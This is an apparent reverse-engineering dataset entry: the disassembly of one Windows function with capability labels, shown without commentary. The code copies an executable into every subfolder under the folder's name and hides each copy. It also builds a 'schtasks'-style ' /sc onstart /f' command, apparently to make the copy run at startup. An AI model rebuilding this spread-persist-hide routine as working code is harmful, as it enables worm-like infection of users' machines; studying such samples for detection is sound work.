Function at 0x140006814
Capabilities:
Copy file
Enumerate files on windows
Set file attributes

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rax - 0x2f8]
sub rsp, 0x3d0
mov qword [rbp], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov rbx, rdx
mov rsi, rcx
mov r12d, 7
mov qword [rbp - 0x68], r12
xor r14d, r14d
mov qword [rbp - 0x70], r14
mov word [rbp - 0x80], r14w
or r13, 0xffffffffffffffff
cmp word [rdx], r14w
jne 0x140006879
mov r8d, r14d
jmp 0x140006886
mov r8, r13
inc r8
cmp word [rdx + r8*2], r14w
jne 0x14000687c
lea rcx, [rbp - 0x80]
call fcn.140001f88
nop
lea r8, [0x14002f7dc]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.14000d0cc
cmp qword [rax + 0x18], 8
jb 0x1400068ae
mov rax, qword [rax]
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp qword [rbp - 0x48], 8
jb 0x1400068ce
mov rcx, qword [rbp - 0x60]
call fcn.140011278
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x50], r14
mov word [rbp - 0x60], r14w
cmp qword [rbp - 0x68], 8
jb 0x1400068eb
mov rcx, qword [rbp - 0x80]
call fcn.140011278
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], r14
mov word [rbp - 0x80], r14w
cmp rdi, r13
je 0x140006c4e
test byte [rbp + 0x70], 0x10
je 0x140006c30
movzx ecx, word [rbp + 0x9c]
movzx eax, word [rbp + 0x9e]
cmp cx, word [0x14002f7e4]
jne 0x14000692f
cmp ax, word [0x14002f7e6]
je 0x140006c30
cmp cx, word [0x14002f7e8]
jne 0x140006955
cmp ax, word [0x14002f7ea]
jne 0x140006955
movzx eax, word [rbp + 0xa0]
cmp ax, word [0x14002f7ec]
je 0x140006c30
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
cmp word [rbx], r14w
jne 0x140006970
mov r8, r14
jmp 0x14000697d
mov r8, r13
inc r8
cmp word [rbx + r8*2], r14w
jne 0x140006973
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140001f88
nop
lea r8, [0x14002f5b8]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000d0cc
nop
lea r8, [rbp + 0x9c]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000d0cc
nop
lea r8, [0x14002f800]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14000d0cc
nop
lea r8, [rbp + 0x9c]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.14000d0cc
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14000d0cc
nop
cmp qword [rbp - 0x28], 8
jb 0x140006a03
mov rcx, qword [rbp - 0x40]
call fcn.140011278
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x30], r14
mov word [rbp - 0x40], r14w
cmp qword [rbp - 8], 8
jb 0x140006a20
mov rcx, qword [rbp - 0x20]
call fcn.140011278
mov qword [rbp - 8], r12
mov qword [rbp - 0x10], r14
mov word [rbp - 0x20], r14w
cmp qword [rsp + 0x78], 8
jb 0x140006a3f
mov rcx, qword [rsp + 0x60]
call fcn.140011278
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
cmp qword [rsp + 0x58], 8
jb 0x140006a61
mov rcx, qword [rsp + 0x40]
call fcn.140011278
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
mov word [rsp + 0x40], r14w
cmp qword [rsp + 0x38], 8
jb 0x140006a83
mov rcx, qword [rsp + 0x20]
call fcn.140011278
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140006c20
lea rcx, [rbp + 0x48]
call fcn.140006598
nop
lea r8, [rbp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.14000d118
nop
lea r8, str.___tr__
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.14000d0cc
nop
cmp qword [rsp + 0x58], 8
jb 0x140006af4
mov rcx, qword [rsp + 0x40]
call fcn.140011278
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
mov word [rsp + 0x40], r14w
mov r9, r13
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x28]
call fcn.1400021cc
lea rdx, str.___sc_onstart__f
lea rcx, [rbp + 0x28]
call fcn.140001ca8
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
cmp word [rbp + 0x9c], r14w
jne 0x140006b46
mov r8, r14
jmp 0x140006b5a
lea rax, [rbp + 0x9c]
mov r8, r13
inc r8
cmp word [rax + r8*2], r14w
jne 0x140006b50
lea rdx, [rbp + 0x9c]
lea rcx, [rsp + 0x20]
call fcn.140001f88
nop
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.14000d1d0
cmp qword [rax + 0x18], 8
jb 0x140006b85
mov rax, qword [rax]
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rcx, qword [rbp + 8]
mov rdx, rax
call fcn.140006758
cmp qword [rsp + 0x78], 8
jb 0x140006bad
mov rcx, qword [rsp + 0x60]
call fcn.140011278
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
cmp qword [rsp + 0x38], 8
jb 0x140006bcf
mov rcx, qword [rsp + 0x20]
call fcn.140011278
lea rcx, [rbp + 0x28]
call fcn.140005fb8
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rcx, qword [rbp + 8]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop
cmp qword [rbp + 0x40], 8
jb 0x140006c02
mov rcx, qword [rbp + 0x28]
call fcn.140011278
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x38], r14
mov word [rbp + 0x28], r14w
cmp qword [rbp + 0x60], 8
jb 0x140006c20
mov rcx, qword [rbp + 0x48]
call fcn.140011278
nop
cmp qword [rbp + 0x20], 8
jb 0x140006c30
mov rcx, qword [rbp + 8]
call fcn.140011278
lea rdx, [rbp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140006901
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret